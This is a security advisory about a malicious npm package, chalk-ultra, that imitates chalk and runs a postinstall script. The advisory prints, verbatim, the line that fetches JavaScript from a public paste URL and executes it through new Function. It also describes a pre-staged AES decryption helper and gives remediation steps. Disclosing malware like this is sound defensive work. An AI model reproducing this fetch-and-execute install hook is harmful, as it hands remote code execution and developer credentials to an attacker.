🛡️ MAL-2026-6300 — chalk-ultra

Malicious code in chalk-ultra (npm)

Source: amazon-inspector

chalk-ultra is published under a name that mimics the widely-used chalk package, but its main is a verbatim copy of nodemailer source and its package.json declares "postinstall": "node lib/utils/index.js". The postinstall path detaches into lib/utils/smtp-connection/index.js, which executes require("axios").get("https://jsonkeeper.com/b/OMNQZ").then(r=>new Function("require",r.data.cookie)(require)) — fetching JavaScript from a public, mutable paste host and evaluating it via new Function with the installer's require and full process privileges at install time. A sibling file lib/utils/smtp-connection/parse.js exports an AES-256-CBC decryption helper with a hardcoded key (1c7631ac...0566) and IV (cf17723e...39d6), pre-staged to decode encrypted strings handed back by the remote second-stage payload. Any developer running npm install chalk-ultra executes whatever JavaScript the attacker is currently hosting at the jsonkeeper.com URL, with the installer's network access, environment variables, credentials, and filesystem.

Source: ghsa-malware

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.